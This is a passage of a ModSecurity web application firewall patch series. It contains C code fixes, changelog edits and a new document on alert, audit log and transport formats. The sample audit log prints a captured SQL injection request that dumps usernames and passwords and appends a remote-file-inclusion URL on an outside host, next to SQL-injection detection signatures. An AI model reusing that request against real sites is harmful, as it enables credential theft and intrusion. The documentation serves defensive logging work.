of request bodies of unknown types.
@@ -4521,10 +4535,10 @@ SecRule IP:AUTH_ATTEMPT "@gt 25" \ Note This action is currently not available on Windows based builds. - This action is extremely useful when responding to both Brute - Force and Denial of Service attacks in that, in both cases, you want to - minimize both the network bandwidth and the data returned to the client. - This action causes error message to appear in the log "(9)Bad file + This action is extremely useful when responding to both Brute Force and + Denial of Service attacks in that, in both cases, you want to minimize + both the network bandwidth and the data returned to the client. This + action causes error message to appear in the log "(9)Bad file descriptor: core_output_filter: writing data to the network"
From c3c822ea01c3afc553d1359c49f80079d2788477 Mon Sep 17 00:00:00 2001 From: brectanus Date: Wed, 17 Sep 2008 16:54:31 +0000 Subject: [PATCH 101/110] Revert r1205 as it was fixed in mod_jk upstream. --- CHANGES | 5 +---- apache2/apache2_io.c | 18 ------------------ apache2/modsecurity.h | 1 - 3 files changed, 1 insertion(+), 23 deletions(-) diff --git a/CHANGES b/CHANGES index 9af5775f..60af3d00 100644 --- a/CHANGES +++ b/CHANGES @@ -1,9 +1,6 @@ -15 Sep 2008 - trunk +17 Sep 2008 - trunk ------------------- - * Worked around mod_jk issue where a 401 response was not including the - WWW-Authentication header. - * Fixed XML DTD/Schema validation which will now fail after request body processing errors, even if the XML parser returns a document tree. diff --git a/apache2/apache2_io.c b/apache2/apache2_io.c index 3e030e63..457ee6cc 100644 --- a/apache2/apache2_io.c +++ b/apache2/apache2_io.c @@ -378,8 +378,6 @@ static apr_status_t output_filter_init(modsec_rec *msr, ap_filter_t *f, return -1; /* Invalid. */ } - msr->response_content_length = len; - if (len == 0) { if (msr->txcfg->debuglog_level >= 4) { msr_log(msr, 4, "Output filter: Skipping response since Content-Length is zero."); @@ -678,22 +676,6 @@ apr_status_t output_filter(ap_filter_t *f, apr_bucket_brigade *bb_in) { } } - msr->of_done_reading = 1; - } - /* ENH: Probably need to make the handlers for this workaround - * configurable. */ - else if ( (strcmp("jakarta-servlet", msr->r->handler) == 0) - && APR_BUCKET_IS_FLUSH(bucket) - && (APR_BUCKET_NEXT(bucket) == APR_BRIGADE_SENTINEL(bb_in)) - && (msr->resbody_length == msr->response_content_length)) - { - /* A FLUSH sent as the last bucket in the bridade may indicate - * the end of the response for certain modules if the bytes - * received match the response C-L header. In this case, the - * FLUSH bucket is interpreted as an EOS. - */ - msr_log(msr, 4, "Output filter: Interpreted FLUSH as EOS for handler \"%s\".", msr->r->handler); - msr->of_done_reading = 1; } } diff --git a/apache2/modsecurity.h b/apache2/modsecurity.h index fbf28fdc..7cfdd5ea 100644 --- a/apache2/modsecurity.h +++ b/apache2/modsecurity.h @@ -268,7 +268,6 @@ struct modsec_rec { const char *response_protocol; apr_table_t *response_headers; unsigned int response_headers_sent; - apr_off_t response_content_length; apr_off_t bytes_sent; /* modsecurity request body processing stuff */ From 4a336dadf255af302f21dbb74236aeebcac6fb1e Mon Sep 17 00:00:00 2001 From: "(no author)" <(no author)@9017d574-64ec-4062-9424-5e00b32a252b> Date: Tue, 21 Oct 2008 17:45:18 +0000 Subject: [PATCH 102/110] Removed an invalid "Internal error" message forcing auditing of a request (MODSEC-29). Cleaned up error messages prior to using send_error_bucket(). --- CHANGES | 14 +++++++++++--- apache2/apache2_util.c | 11 ----------- apache2/modsecurity.c | 10 ++++------ 3 files changed, 15 insertions(+), 20 deletions(-) diff --git a/CHANGES b/CHANGES index 60af3d00..cda4a90c 100644 --- a/CHANGES +++ b/CHANGES @@ -1,4 +1,14 @@ -17 Sep 2008 - trunk +07 Oct 2008 - trunk +------------------- + + * Removed an invalid "Internal error: Issuing "%s" for unspecified error." + message that was logged when denying with nolog/noauditlog set and + causing the request to be audited. + + * Persistent counter updates are now atomic. + + +24 Sep 2008 - 2.5.7 ------------------- * Fixed XML DTD/Schema validation which will now fail after request body @@ -24,8 +34,6 @@ * Now log XML parsing/validation warnings and errors to be in the debug log at levels 3 and 4, respectivly. - * Persistent counter updates are now atomic. - 31 Jul 2008 - 2.5.6 ------------------- diff --git a/apache2/apache2_util.c b/apache2/apache2_util.c index d3907a34..353c76f4 100644 --- a/apache2/apache2_util.c +++ b/apache2/apache2_util.c @@ -31,17 +31,6 @@ apr_status_t send_error_bucket(modsec_rec *msr, ap_filter_t *f, int status) { /* Set the status line explicitly for the error document */ f->r->status_line = ap_get_status_line(status); - /* Force alert log for any errors that are not already marked relevant - * to prevent any missing error messages in the code from going - * unnoticed. To prevent this error, all code should either set - * is_relevant, or just use msr_log with a level <= 3 prior to - * calling this function. - */ - if ((msr != NULL) && (msr->is_relevant == 0)) { - msr_log(msr, 1, "Internal error: Issuing \"%s\" for unspecified error.", - f->r->status_line); - } - brigade = apr_brigade_create(f->r->pool, f->r->connection->bucket_alloc); if (brigade == NULL) return APR_EGENERAL; diff --git a/apache2/modsecurity.c b/apache2/modsecurity.c index fa8f9378..bd5fca5b 100644 --- a/apache2/modsecurity.c +++ b/apache2/modsecurity.c @@ -569,25 +569,23 @@ apr_status_t modsecurity_process_phase(modsec_rec *msr, unsigned int phase) { msr->tcache_items = 0; msr->tcache = apr_hash_make(msr->mp); - if (msr->tcache == NULL) return -1; + if (msr->tcache == NULL) { + msr_log(msr, 1, "Internal error: Failed to allocate transformation cache for phase %d", msr->phase); + return -1; + } } switch(phase) { case 1 : return modsecurity_process_phase_request_headers(msr); - break; case 2 : return modsecurity_process_phase_request_body(msr); - break; case 3 : return modsecurity_process_phase_response_headers(msr); - break; case 4 : return modsecurity_process_phase_response_body(msr); - break; case 5 : return modsecurity_process_phase_logging(msr); - break; default : msr_log(msr, 1, "Invalid processing phase: %d", msr->phase); break; From c012db7e6069eb32804aa80b99278e4179ffb738 Mon Sep 17 00:00:00 2001 From: "(no author)" <(no author)@9017d574-64ec-4062-9424-5e00b32a252b> Date: Tue, 21 Oct 2008 17:46:20 +0000 Subject: [PATCH 103/110] Make a note of configure options that can affect performance (MODSEC-28). --- doc/modsecurity2-apache-reference.xml | 22 +++++++++++++++++----- 1 file changed, 17 insertions(+), 5 deletions(-) diff --git a/doc/modsecurity2-apache-reference.xml b/doc/modsecurity2-apache-reference.xml index b7105862..38a21125 100644 --- a/doc/modsecurity2-apache-reference.xml +++ b/doc/modsecurity2-apache-reference.xml @@ -315,6 +315,15 @@ ./configure --with-apxs=/path/to/httpd-2.x.y/bin/apxs + + + There are certain configure options that are meant for + debugging an other development use. If enabled, these + options can substantially impact performance. These options + include all --debug-* options as well as + the --enable-performance-measurements + options. + @@ -325,10 +334,12 @@ Optionally test with: make test - NOTE: This is step is still a bit experimental. If you - have problems, please send the full output and error from the - build to the support list. Most common issues are related to - not finding the required headers and/or libraries. + + This is step is still a bit experimental. If you have + problems, please send the full output and error from the + build to the support list. Most common issues are related to + not finding the required headers and/or libraries. + @@ -2234,7 +2245,8 @@ end specified rule.
Syntax: SecRuleUpdateActionById RULEID ACTIONLIST + moreinfo="none">SecRuleUpdateActionById RULEID + ACTIONLIST Example Usage: SecRuleUpdateActionById 12345 From facacae2386d86ee5c66443a38170876d1806019 Mon Sep 17 00:00:00 2001 From: b1v1r Date: Thu, 13 Nov 2008 00:28:29 +0000 Subject: [PATCH 104/110] Fix a typo in the SecRuleInheritance example. --- doc/modsecurity2-apache-reference.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/modsecurity2-apache-reference.xml b/doc/modsecurity2-apache-reference.xml index 38a21125..d50eaa5f 100644 --- a/doc/modsecurity2-apache-reference.xml +++ b/doc/modsecurity2-apache-reference.xml @@ -1993,7 +1993,7 @@ SecRule ARGS:q !dirty first VirtualHost is not inheriting the ModSecurity main config directives and in the second one it is. - SecRuleEnine On + SecRuleEngine On SecDefaultAction log,pass,phase:2 ... From fd5cf18ca49974f50f0653b837ae07524440698e Mon Sep 17 00:00:00 2001 From: ivanr Date: Mon, 1 Dec 2008 10:39:46 +0000 Subject: [PATCH 105/110] Add the data formats documentation. --- doc/modsecurity2-data-formats.xml | 972 ++++++++++++++++++++++++++++++ 1 file changed, 972 insertions(+) create mode 100644 doc/modsecurity2-data-formats.xml diff --git a/doc/modsecurity2-data-formats.xml b/doc/modsecurity2-data-formats.xml new file mode 100644 index 00000000..f3cedd90 --- /dev/null +++ b/doc/modsecurity2-data-formats.xml @@ -0,0 +1,972 @@ + + +
+ ModSecurity 2 Data Formats + + Version 2.6.0-trunk (November 27, 2008) + + 2004-2008 + Breach Security, Inc. (http://www.breach.com) + + + The purpose of this document is to describe the formats of the ModSecurity alert messages, + transaction logs and communication protocols, which would not only allow for a better + understanding what ModSecurity does but also for an easy integration with third-party tools + and products. +
+ Alerts + As part of its operations ModSecurity will emit alerts, which are eather + warnings (non-fatal) or errors (fatal, + usually leading to the interception of the transaction in question). Below is an example + of a ModSecurity alert entry: + Access denied with code 505 (phase 1). Match of "rx + ^HTTP/(0\\\\.9|1\\\\.[01])$" against "REQUEST_PROTOCOL" required. + [id "960034"] [msg "HTTP protocol version is not allowed by policy"] + [severity "CRITICAL"] [uri "/"] [unique_id "PQaTTVBEUOkAAFwKXrYAAAAM"] + + Alerts will only ever contain one line of text but we've broken the above example + into multiple lines to make it fit into the page. + + Each alert entry begins with the engine message, which describes what ModSecurity did + and why. For + example:Access denied with code 505 (phase 1). Match of "rx + ^HTTP/(0\\\\.9|1\\\\.[01])$" against "REQUEST_PROTOCOL" required. +
+ Alert Action Description + The first part of the engine message tells you whether ModSecurity acted to + interrupt transaction or rule processing: + + + If the alert is only a warning, the first sentence will simply say + Warning. + + + If the transaction was intercepted, the first sentence will begin with + Access denied. What follows is the list of possible + messages related to transaction interception: + + + Access denied with code %0 - a response with + status code %0 was sent. + + + Access denied with connection close - + connection was abruptly closed. + + + Access denied with redirection to %0 using status + %1 - a redirection to URI %0 was + issued using status %1. + + + + + There is also a special message that ModSecurity emits where an allow action is executed. There are three variations of this + type of message: + + + Access allowed - rule engine stopped + processing rules (transaction was unaffected). + + + Access to phase allowed - rule engine stopped + processing rules in the current phase only. Subsequent phases will + be processed normally. Transaction was not affected by this rule but + it may be affected by any of the rules in the subsequent + phase. + + + Access to request allowed - rule engine + stopped processing rules in the current phase. Phases prior to + request execution in the backend (currently phases 1 and 2) will not + be processed. The response phases (currently phases 3 and 4) and + others (currently phase 5) will be processed as normal. Transaction + was not affected by this rule but it may be affected by any of the + rules in the subsequent phase. + + + + +
+
+ Alert Justification Description + The second part of the engine message explains why the alert + was generated. Since it is automatically generated from the rules it will be very + technical in nature, talking about operators and their parameters and give you + insight into what the rule looked like. But this message cannot give you insight + into the reasoning behind the rule. A well-written rule will always specify a + human-readable message (using the msg action) to provide further + information. + The format of the second part of the engine message depends on whether it was + generated by the operator (which happens on a match) or by the rule processor (which + happens where there is not a match, but the negation was used): + + + @beginsWith - String match %0 at + %1. + + + @contains - String match %0 at + %1. + + + @containsWord - String match %0 at + %1. + + + @endsWith - String match %0 at + %1. + + + @eq - Operator EQ matched %0 at + %1. + + + @ge - Operator GE matched %0 at + %1. + + + @geoLookup - Geo lookup for %0 succeeded at + %1. + + + @inspectFile - File %0 rejected by the + approver script %1: %2 + + + @le - Operator LE matched %0 at + %1. + + + @lt - Operator LT matched %0 at + %1. + + + @rbl - RBL lookup of %0 succeeded at + %1. + + + @rx - Pattern match %0 at + %1. + + + @streq - String match %0 at + %1. + + + @validateByteRange - Found %0 byte(s) in %1 + outside range: %2. + + + @validateDTD - XML: DTD validation + failed. + + + @validateSchema - XML: Schema validation + failed. + + + @validateUrlEncoding + + + Invalid URL Encoding: Non-hexadecimal digits used at + %0. + + + Invalid URL Encoding: Not enough characters at the end + of input at %0. + + + + + @validateUtf8Encoding + + + Invalid UTF-8 encoding: not enough bytes in character at + %0. + + + Invalid UTF-8 encoding: invalid byte value in character + at %0. + + + Invalid UTF-8 encoding: overlong character detected at + %0. + + + Invalid UTF-8 encoding: use of restricted character at + %0. + + + Invalid UTF-8 encoding: decoding error at + %0. + + + + + @verifyCC - CC# match %0 at + %1. + + + Messages not related to operators: + + + When SecAction directive is processed - + Unconditional match in SecAction. + + + When SecRule does not match but negation is used - + Match of %0 against %1 required. + + + + The parameters to the operators @rx and @pm (regular expression and text pattern, respectively) will be + truncated to 252 bytes if they are longer than this limit. In this case the + parameter in the alert message will be terminated with three dots. + +
+
+ Meta-data + The metadata fields are always placed at the end of the alert entry. Each metadata + field is a text fragment that consists of an open bracket followed by the metadata + field name, followed by the value and the closing bracket. What follows is the text + fragment that makes up the id metadata field. + [id "960034"] + The following metadata fields are currently used: + + + offset - The byte offset where a match occured within + the target data. This is not always available. + + + id - Unique rule ID, as specified by the id action. + + + rev - Rule revision, as specified by the rev action. + + + msg - Human-readable message, as specified by the + msg action. + + + severity - Event severity as text, as specified by the + severity action. The possible values (with their + corresponding numberical values in brackets) are EMERGENCY (0), ALERT (1), CRITICAL (2), ERROR (3), WARNING (4), NOTICE (5), INFO (6) and DEBUG (7). + + + unique_id - Unique event ID, generated + automatically. + + + uri - Request URI. + + + logdata - contains transaction data fragment, as + specified by the logdata action. + + +
+
+ Escaping + ModSecurity alerts will always contain text fragments that were taken from + configuration or the transaction. Such text fragments escaped before they are user + in messages, in order to sanitise the potentially dangerous characters. They are + also sometimes surrounded using double quotes. The escaping algorithm is as + follows: + + Characters 0x08 (BACKSPACE), + 0x0a (NEWLINE), 0x10 (CARRIAGE RETURN), 0x09 (HORIZONTAL TAB) and 0x0b (VERTICAL TAB) will be + represented as \b, \n, \r, \t and \v, + respectively. + + + Bytes from the ranges 0-0x1f and 0x7f-0xff (inclusive) will be represented as \xHH, where HH is the hexadecimal + value of the byte. + + + Backslash characters (\) will be represented as + \\. + + + Each double quote character will be represented as \", but only if the entire fragment is surrounded with + double quotes. + + +
+
+ Alerts in the Apache Error Log + Every ModSecurity alert conforms to the following format when it appears in the + Apache error log: + [Sun Jun 24 10:19:58 2007] [error] [client 192.168.0.1] + ModSecurity: ALERT_MESSAGE + The above is a standard Apache error log format. The ModSecurity: + prefix is specific to ModSecurity. It is used to allow quick + identification of ModSecurity alert messages when they appear in the same file next + to other Apache messages. + The actual message (ALERT_MESSAGE in the example above) is in + the same format as described in the Alerts section. + + Apache further escapes ModSecurity alert messages before writing them to the + error log. This means that all backslash characters will be doubled in the error + log. In practice, since ModSecurity will already represent a single backslash + within an untrusted text fragment as two backslashes, the end result in the + Apache error log will be four backslashes. Thus, if you + need to interpret a ModSecurity message from the error log, you should decode + the message part after the ModSecurity: prefix first. This + step will peel the first encoding layer. + +
+
+ Alerts in Audit Logs + Alerts are transported in the H section of the ModSecurity + Audit Log. Alerts will appear each on a separate line and in the order they were + generated by ModSecurity. Each line will be in the following format: + Message: ALERT_MESSAGE + Below is an example of an H section that contains two alert + messages: + --c7036611-H-- +Message: Warning. Match of "rx ^apache.*perl" against + "REQUEST_HEADERS:User-Agent" required. [id "990011"] [msg "Request + Indicates an automated program explored the site"] [severity "NOTICE"] +Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b + (?:(?:length|count|top)\\b.{1,100}?\\bfrom|from\\b.{1,100}?\\bwhere) + |.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_ + (?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?| + makewebt ..." at ARGS:c. [id "950001"] [msg "SQL Injection Attack. + Matched signature: union select"] [severity "CRITICAL"] +Stopwatch: 1199881676978327 2514 (396 2224 -) +Producer: ModSecurity v2.x.x (Apache 2.x) +Server: Apache/2.x.x + +--c7036611-Z-- +
+
+
+ Audit Log + ModSecurity records one transaction in a single audit log file. Below is an + example: + --c7036611-A-- +[09/Jan/2008:12:27:56 +0000] OSD4l1BEUOkAAHZ8Y3QAAAAH 209.90.77.54 64995 + 80.68.80.233 80 +--c7036611-B-- +GET //EvilBoard_0.1a/index.php?c='/**/union/**/select/**/1,concat(username, + char(77),password,char(77),email_address,char(77),info,char(77),user_level, + char(77))/**/from/**/eb_members/**/where/**/userid=1/*http://kamloopstutor. + com/images/banners/on.txt? HTTP/1.1 +TE: deflate,gzip;q=0.3 +Connection: TE, cslose +Host: www.example.com +User-Agent: libwww-perl/5.808 + +--c7036611-F-- +HTTP/1.1 404 Not Found +Content-Length: 223 +Connection: close +Content-Type: text/html; charset=iso-8859-1 + +--c7036611-H-- +Message: Warning. Match of "rx ^apache.*perl" against + "REQUEST_HEADERS:User-Agent" required. [id "990011"] [msg "Request + Indicates an automated program explored the site"] [severity "NOTICE"] +Message: Warning. Pattern match "(?:\\b(?:(?:s(?:elect\\b(?:.{1,100}?\\b + (?:(?:length|count|top)\\b.{1,100}?\\bfrom|from\\b.{1,100}?\\bwhere) + |.*?\\b(?:d(?:ump\\b.*\\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_ + (?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?| + makewebt ..." at ARGS:c. [id "950001"] [msg "SQL Injection Attack. + Matched signature: union select"] [severity "CRITICAL"] +Stopwatch: 1199881676978327 2514 (396 2224 -) +Producer: ModSecurity v2.x.x (Apache 2.x) +Server: Apache/2.x.x + +--c7036611-Z-- + + The file consist of multiple sections, each in different format. Separators are used + to define sections: + --c7036611-A-- + A separator always begins on a new line and conforms to the following format: + + + Two dashes + + + Unique boundary, which consists from several hexadecimal characters. + + + One dash character. + + + Section identifier, currently a single uppercase letter. + + + Two trailing dashes. + + + Refer to the documentation for SecAuditLogParts for the explanation + of each part. +
+ Parts + This section documents the audit log parts available in ModSecurity 2.x. They are: + + A - audit log header + + + B - request headers + + + C - request body + + + D - intended response headers (NOT + IMPLEMENTED) + + + E - intended response body + + + F - response headers + + + G - response body (NOT + IMPLEMENTED) + + + H - audit log trailer + + + I - reduced multipart request + body + + + J - multipart files information + (NOT IMPLEMENTED) + + + K - matched rules + information + + + Z - audit log footer + + +
+ Audit Log Header (<literal>A</literal>) + ModSecurity 2.x audit log entries always begin with the header part. For + example: + --c7036611-A-- +[09/Jan/2008:12:27:56 +0000] OSD4l1BEUOkAAHZ8Y3QAAAAH 209.90.77.54 64995 + 80.68.80.233 80 + The header contains only one line, with the following information on + it: + + + Timestamp + + + Unique transaction ID + + + Source IP address (IPv4) + + + Source port + + + Destination IP address (IPv4) + + + Destination port + + +
+
+ Request Headers (<literal>B</literal>) + The request headers part contains the request line and the request headers. + The information present in this part will not be identical to that sent by the + client responsible for the transaction. ModSecurity 2.x for Apache does not have + access to the raw data; it sees what Apache itself sees. While the end result + may be identical to the raw request, differences are possible in some + areas: + + + If any of the fields are NUL-terminated, Apache + will only see the content prior to the NUL. + + + Headers that span multiple lines (feature known as header folding) + will be collapsed into a single line. + + + Multiple headers with the same name will be combined into a single + header (as allowed by the HTTP RFC). + + +
+
+ Request Body (<literal>C</literal>) + This part contains the request body of the transaction, after dechunking and + decompression (if applicable). +
+
+ Intended Response Headers (<literal>D</literal>) + This part contains the status line and the request headers that would have + been delivered to the client had ModSecurity not intervened. Thus this part + makes sense only for transactions where ModSecurity altered the data flow. By + differentiating before the intended and the final response headers, we are able + to record what was internally ready for sending, but also what was actually + sent. + + This part is reserved for future use. It is not implemented in ModSecurity + 2.x. + +
+
+ Intended Response Body (<literal>E</literal>) + This part contains the transaction response body (before compression and + chunking, where used) that was either sent or would have been sent had + ModSecurity not intervened. You can find whether interception took place by + looking at the Action header of the part H. If that header is present, and the interception took place in + phase 3 or 4 then the E part contains the intended response + body. Otherwise, it contains the actual response body. + + Once the G (actual response body) part is implemented, + part E will be present only in audit logs that contain a + transaction that was intercepted, and there will be no need for further + analsys. + +
+
+ Response Headers (<literal>F</literal>) + This part contains the actual response headers sent to the client. Since + ModSecurity 2.x for Apache does not access the raw connection data, it + constructs part F out of the internal Apache data structures that hold the + response headers. Some headers are generated just before they are sent and + ModSecurity is not able to record those. They are the Date + and Server response headers. +
+
+ Response Body (G) + When implemented, this part will contain the actual response body before + compression and chunking. + + This part is reserved for future use. It is not implemented in ModSecurity + 2.x. + +
+
+ Audit Log Trailer (H) + Part H contains additional transaction meta-data that was + obtained from the web server or from ModSecurity itself. The part contains a + number of trailer headers, which are similar to HTTP headers (without support + for header folding): + + Action + + + Apache-Error + + + Message + + + Producer + + + Response-Body-Transformed + + + Sanitised-Args + + + Sanitised-Request-Headers + + + Sanitised-Response-Headers + + + Server + + + Stopwatch + + + WebApp-Info + + +
+ Action + The Action header is present only for the transactions + that were intercepted: + Action: Intercepted (phase 2) + The phase information documents the phase in which the decision to + intercept took place. +
+
+ Apache-Error + The Apache-Error header contains Apache error log messages observed by + ModSecurity, excluding those sent by ModSecurity itself. For example: + Apache-Error: [file "/tmp/buildd/apache2-2.0.54/build-tree/apache2/server/ + core.c"] [line 3505] [level 3] File does not exist: /var/www/www. + modsecurity.org/fst/documentation/modsecurity-apache/2.5.0-dev2 +
+
+ Message + Zero or more Message headers can be present in any + trailer, and each such header will represent a single ModSecurity warning or + error, displayed in the order they were raised. + The example below was broken into multiple lines to make it fit this + page: + Message: Access denied with code 400 (phase 2). Pattern match "^\w+:/" at + REQUEST_URI_RAW. [file "/etc/apache2/rules-1.6.1/modsecurity_crs_20_ + protocol_violations.conf"] [line "74"] [id "960014"] [msg "Proxy access + attempt"] [severity "CRITICAL"] [tag "PROTOCOL_VIOLATION/PROXY_ACCESS"] +
+
+ Producer + The Producer header identifies the product that + generated the audit log. For example: + Producer: ModSecurity for Apache/2.5.5 (http://www.modsecurity.org/). + ModSecurity allows rule sets to add their own signatures to the Producer information (this is done using the SecComponentSignature directive). Below is an example of the + Producer header with the signature of one component + (all one line): + Producer: ModSecurity for Apache/2.5.5 (http://www.modsecurity.org/); + MyComponent/1.0.0 (Beta). +
+
+ Response-Body-Transformed + This header will appear in every audit log that contains a response + body: + Response-Body-Transformed: Dechunked + The contents of the header is constant at present, so the header is only + useful as a reminder that the recorded response body is not identical to the + one sent to the client. The actual content is the same, except that Apache + may further compress the body and deliver it in chunks. +
+
+ Sanitised-Args + The Sanitised-Args header contains a list of arguments + that were sanitised (each byte of their content replaced with an asterisk) + before logging. For example: + Sanitised-Args: "old_password", "new_password", "new_password_repeat". +
+
+ Sanitised-Request-Headers + The Sanitised-Request-Headers header contains a list of + request headers that were sanitised before logging. For example: + Sanitised-Request-Headers: "Authentication". +
+
+ Sanitised-Response-Headers + The Sanitised-Response-Headers header contains a list + of response headers that were sanitised before logging. For example: + Sanitised-Response-Headers: "My-Custom-Header". +
+
+ Server + The Server header identifies the web server. For + example: + Server: Apache/2.0.54 (Debian GNU/Linux) mod_ssl/2.0.54 OpenSSL/0.9.7e + This information may sometimes be present in any of the parts that contain + response headers, but there are a few cases when it isn't: + + None of the response headers were recoreded. + + + The information in the response headers is not accurate + because server signature masking was used. + + +
+
+ Stopwatch + The Stopwatch header provides certain diagnostic + information that allows you to determine the performance of the web server + and of ModSecurity itself. It will typically look like this: + Stopwatch: 1222945098201902 2118976 (770* 4400 -) + Each line can contain up to 5 different values. Some values can be absent; + each absent value will be replaced with a dash. + The meanings of the values are as follows (all values are in + microseconds): + + Transaction timestamp in microseconds since January 1st, + 1970. + + + Transaction duration. + + + The time between the moment Apache started processing the + request and until phase 2 of ModSecurity began. If an asterisk + is present that means the time includes the time it took + ModSecurity to read the request body from the client (typically + slow). This value can be used to provide a rough estimate of the + client speed, but only with larger request bodies (the smaller + request bodies may arrive in a single TCP/IP packet). + + + The time between the start of processing and until phase 2 was + completed. If you substract the previous value from this value + you will get the exact duration of phase 2 (which is the main + rule processing phase). + + + The time between the start of request processing and util we + began sending a fully-buffered response body to the client. If + you substract this value from the total transaction duration and + divide with the response body size you may get a rough estimate + of the client speed, but only for larger response bodies. + + +
+
+ WebApp-Info + The WebApp-Info header contains information on the + application to which the recorded transaction belongs. This information will + appear only if it is known, which will happen if SecWebAppId was set, or setsid or setuid executed in the transaction. + The header uses the following format: + WebApp-Info: "WEBAPPID" "SESSIONID" "USERID" + Each unknown value is replaced with a dash. +
+
+
+ Reduced Multipart Request Body (<literal>I</literal>) + Transactions that deal with file uploads tend to be large, yet the file + contents is not always relevant from the security point of view. The I part was designed to avoid recording raw multipart/form-data request bodies, replacing them with a + simulated application/x-www-form-urlencoded body that + contains the same key-value parameters. + The reduced multipart request body will not contain any file information. The + J part (currently not implemented) is intended to carry + the file metadata. +
+
+ Multipart Files Information (<literal>J</literal>) + The purpose of part J is to record the information on the + files contained in a multipart/form-data request body. This + is handy in the cases when the original request body was not recorded, or when + only a reduced version was recorded (e.g. when part I was + used instead of part C). + + This part is reserved for future use. It is not implemented in ModSecurity + 2.x. + +
+
+ Matched Rules (<literal>K</literal>) + The matched rules part contains a record of all ModSecurity rules that matched + during transaction processing. + This part is available starting with ModSecurity 2.5.x. +
+
+ Audit Log Footer (<literal>Z</literal>) + Part Z is a special part that only has a boundary but no + content. Its only purpose is to signal the end of an audit log. +
+
+
+ Storage Formats + ModSecurity supports two audit log storage formats: + + Serial audit log format - multiple audit log + files stored in the same file. + + + Concurrent audit log format - one file is used + for every audit log. + + +
+ Serial Audit Log Format + The serial audit log format stores multiple audit log entries within the same + file (one after another). This is often very convinent (audit log entries are + easy to find) but this format is only suitable for light logging in the current + ModSecurity implementation because writing to the file is serialised: only one + audit log entry can be written at any one time. +
+
+ Concurrent Audit Log Format + The concurrent audit log format uses one file per audit log entry, and allows + many transactions to be recorded at once. A hierarchical directory structure is + used to ensure that the number of files created in any one directory remains + relatively small. For example: + $LOGGING-HOME/20081128/20081128-1414/20081128-141417- + egDKy38AAAEAAAyMHXsAAAAA + The current time is used to work out the directory structure. The file name is + constructed using the current time and the transaction ID. + The creation of every audit log in concurrent format is recorded with an entry + in the concurrent audit log index file. The format of each + line resembles the common web server access log format. For example: + 192.168.0.111 192.168.0.1 - - [28/Nov/2008:15:06:32 +0000] + "GET /?p=\\ HTTP/1.1" 200 69 "-" "-" NOfRx38AAAEAAAzcCU4AAAAA + "-" /20081128/20081128-1506/20081128-150632-NOfRx38AAAEAAAzcCU4AAAAA + 0 1183 md5:ffee2d414cd43c2f8ae151652910ed96 + The tokens on the line are as follows: + + + Hostname (or IP address, if the hostname is not known) + + + Source IP address + + + Remote user (from HTTP Authentication) + + + Local user (from identd) + + + Timestamp + + + Request line + + + Response status + + + Bytes sent (in the response body) + + + Referrer information + + + User-Agent information + + + Transaction ID + + + Session ID + + + Audit log file name (relative to the audit logging home, as configured + using the SecAuditLogStorageDir directive) + + + Audit log offset + + + Audit log size + + + Audit log hash (the has begins with the name of the algorithm used, + followed by a colon, followed by the hexadecimal representation of the + hash itself); this hash can be used to verify that the transaction was + correctly recorded and that it hasn't been modified since. + + + + Lines in the index file will be up to 3980 bytes long, and the information + logged will be reduced to fit where necessary. Reduction will occur within + the individual fields, but the overall format will remain the same. The + character L will appear as the last character on a + reduced line. A space will be the last character on a line that was not + reduced to stay within the limit. + +
+
+
+ Transport Protocol + Audit logs generated in multi-sensor deployments are of little use if left on the + sensors. More commonly, they will be transported to a central logging server using + the transport protocol described in this section: + + + The transport protocol is based on the HTTP protocol. + + + The server end is an SSL-enabled web server with HTTP Basic Authentication + configured. + + + Clients will open a connection to the centralisation web server and + authenticate (given the end-point URI, the username and the + password). + + + Clients will submit every audit log in a single PUT + transaction, placing the file in the body of the request and additional + information in the request headers (see below for details). + + + Server will process each submission and respond with an appropriate status + code: + + + 200 (OK) - the submission was processed; the client can delete the + corresponding audit log entry if it so desires. The same audit log + entry must not be submitted again. + + + 409 (Conflict) - if the submission is in invalid format and cannot + be processed. The client should attempt to fix the problem with the + submission and attempt delivery again at a later time. This error is + generally going to occur due to a programming error in the protocol + implementation, and not because of the content of the audit log + entry that is being transported. + + + 500 (Internal Server Error) - if the server was unable to + correctly process the submission, due to its own fault. The client + should re-attempt delivery at a later time. A client that starts + receiving 500 reponses to all its submission should suspend its + operations for a period of time before continuing. + + + + + + Server implementations are advised to accept all submissions that correctly + implement the protocol. Clients are unlikely to be able to overcome problems + within audit log entries, so such problems are best resolved on the server + side. + + + When en error occurs, the server may place an explanation of the problem in + the text part of the response line. + +
+ Request Headers Information + Each audit log entry submission must contain additional information in the + request headers: + + + Header X-Content-Hash must contain the audit log + entry hash. Clients should expect the audit log entries to be validated + against the hash by the server. + + + Header X-ForensicLog-Summary must contain the + entire concurrent format index line. + + + The Content-Lenght header must be present and + contain the length of the audit log entry. + + +
+
+
+
From 9c3c0d8c8a6b25fac92a9d3a2105258e75429f0a Mon Sep 17 00:00:00 2001 From: ivanr Date: Mon, 1 Dec 2008 10:43:26 +0000 Subject: [PATCH 106/110] Update the reference manual to refer to the new data formats documentation. --- doc/modsecurity2-apache-reference.xml | 6134 ++++++++----------------- 1 file changed, 1858 insertions(+), 4276 deletions(-) diff --git a/doc/modsecurity2-apache-reference.xml b/doc/modsecurity2-apache-reference.xml index d50eaa5f..76cda13a 100644 --- a/doc/modsecurity2-apache-reference.xml +++ b/doc/modsecurity2-apache-reference.xml @@ -2,1333 +2,845 @@
- <trademark class="registered">ModSecurity</trademark> Reference - Manual - + <trademark class="registered">ModSecurity</trademark> Reference Manual Version 2.6.0-trunk (September 5, 2008) - 2004-2008 - - Breach Security, Inc. (http://www.breach.com) + Breach Security, Inc. (http://www.breach.com) -
